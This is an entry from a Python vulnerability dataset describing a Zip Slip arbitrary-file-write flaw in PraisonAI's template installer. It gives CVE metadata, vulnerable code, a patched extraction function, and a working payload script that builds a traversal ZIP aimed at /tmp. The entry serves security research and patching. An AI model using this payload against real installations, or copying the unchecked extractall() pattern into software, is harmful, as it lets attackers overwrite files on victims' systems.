CVE-2026-39307
Zip Slip in PraisonAI template installation allows arbitrary file write.
- CVSS 8.1
- CWE-22
- Input Validation and Sanitization
- Remote
PraisonAI is a multi-agent teams system. Prior to 1.5.113, The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory. This vulnerability is fixed in 1.5.113.
- CWE
- CWE-22
- CVSS base score
- 8.1
- Published
- 2026-04-07
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- PraisonAI
- Fixed by upgrading
- Yes
Solution
Upgrade PraisonAI to version 1.5.113 or later.
Vulnerable code sample
import os
import zipfile
import shutil
# This script demonstrates the "Zip Slip" vulnerability.
# It consists of two parts:
# 1. A function to create a malicious ZIP file containing a path traversal payload.
# 2. A vulnerable function that extracts this ZIP file without proper path validation.
def create_malicious_archive(filename="malicious_template.zip"):
"""
Creates a zip archive that contains a file with a path traversal name.
When extracted by a vulnerable application, this file will be written
outside of the intended destination directory.
"""
with zipfile.ZipFile(filename, 'w') as zf:
# The file path traverses two directories up from the extraction root.
malicious_path = '../../pwned_by_zipslip.txt'
file_content = b'This file was placed here via a Zip Slip vulnerability.'
zf.writestr(malicious_path, file_content)
def install_template_vulnerable(zip_path, destination_dir):
"""
This function simulates the vulnerable template installation in PraisonAI < 1.5.113.
It uses `zipfile.extractall()` without validating the file paths within the archive,
making it vulnerable to a Zip Slip attack.
"""
# Create the intended destination directory if it doesn't exist.
os.makedirs(destination_dir, exist_ok=True)
# VULNERABLE CODE:
# `extractall` is called directly on the user-controlled archive.
# It does not check if member file paths are safe.
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
zip_ref.extractall(destination_dir)
if __name__ == '__main__':
# Define file and directory names for the demonstration.
malicious_zip_filename = "malicious_template.zip"
extraction_target_dir = "templates/temp_install/"
malicious_output_file = "pwned_by_zipslip.txt"
# --- Setup ---
# 1. Create the malicious zip archive.
create_malicious_archive(malicious_zip_filename)
# --- Attack Execution ---
# 2. Run the vulnerable installation function.
# This will extract the contents of the malicious zip into the target directory.
# Due to the vulnerability, a file will be written outside this directory.
try:
install_template_vulnerable(malicious_zip_filename, extraction_target_dir)
except Exception as e:
# Python's zipfile module may raise an error on Windows for such paths.
# The vulnerability is still present in the logic.
print(f"An error occurred during extraction: {e}")
# --- Verification ---
# 3. Check if the malicious file was successfully created outside the target directory.
if os.path.exists(malicious_output_file):
print(f"[SUCCESS] Vulnerability Confirmed: Malicious file '{malicious_output_file}' created in the current directory.")
with open(malicious_output_file, 'r') as f:
print(f"File content: '{f.read().strip()}'")
else:
print(f"[FAILURE] Malicious file '{malicious_output_file}' was not found. The attack may have been prevented by the OS.")
# --- Cleanup ---
# 4. Remove the created files and directories.
if os.path.exists(malicious_zip_filename):
os.remove(malicious_zip_filename)
if os.path.exists(malicious_output_file):
os.remove(malicious_output_file)
if os.path.exists("templates/"):
shutil.rmtree("templates/")Patched code sample
import os
import zipfile
from pathlib import Path
def safe_extract_zip(zip_file_path: str, destination_dir: str):
"""
Safely extracts a zip file, preventing path traversal (Zip Slip) attacks.
This function iterates through each file in the zip archive and verifies
that its destination path is securely within the intended extraction directory.
It replaces the vulnerable `zipfile.extractall()` with a secure, member-by-member
extraction process.
Args:
zip_file_path: The path to the zip archive.
destination_dir: The directory where files should be extracted.
"""
# Use pathlib for more robust path handling and resolve to an absolute path
# to prevent ambiguity.
real_destination_dir = Path(destination_dir).resolve()
with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
for member_info in zip_ref.infolist():
# For each member, resolve its intended destination path.
target_path = real_destination_dir.joinpath(member_info.filename).resolve()
# THE FIX:
# Check if the resolved path of the file to be extracted is a child
# of the resolved destination directory. This is the crucial step
# that prevents directory traversal. `os.path.commonpath` is a reliable
# way to perform this check.
if os.path.commonpath([target_path, real_destination_dir]) != str(real_destination_dir):
# If the common path is not the destination directory itself,
# it means the file is trying to write outside the target folder.
# e.g., for a file like '../../../etc/passwd'.
print(f"SECURITY WARNING: Skipping malicious path '{member_info.filename}' in zip file.")
continue
# If the path is safe, proceed with extraction.
if member_info.is_dir():
# Create directory if it's a directory entry.
target_path.mkdir(exist_ok=True, parents=True)
else:
# Ensure parent directory exists before extracting the file.
target_path.parent.mkdir(exist_ok=True, parents=True)
# Extract the file.
with zip_ref.open(member_info) as source_file, open(target_path, "wb") as dest_file:
dest_file.write(source_file.read())Payload
import zipfile
import os
# This script generates the malicious zip file payload.
# The generated file, 'malicious_template.zip', should then be hosted
# and used as the template source for the vulnerable PraisonAI application.
zip_filename = "malicious_template.zip"
# Path traversal sequence to escape the intended extraction directory.
# This example attempts to write a file named 'pwned.txt' into the /tmp directory.
# The number of '../' may need adjustment depending on the server's directory depth.
malicious_path = "../../../../../../tmp/pwned.txt"
# Content of the file to be written.
file_content = b"Arbitrary file write successful due to Zip Slip vulnerability."
# Create the malicious zip archive.
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf:
# Add a file to the archive with the malicious path.
zf.writestr(malicious_path, file_content)
print(f"Malicious payload '{zip_filename}' created successfully.")
Cite this entry
@misc{vaitp:cve202639307,
title = {{Zip Slip in PraisonAI template installation allows arbitrary file write.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-39307},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-39307/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
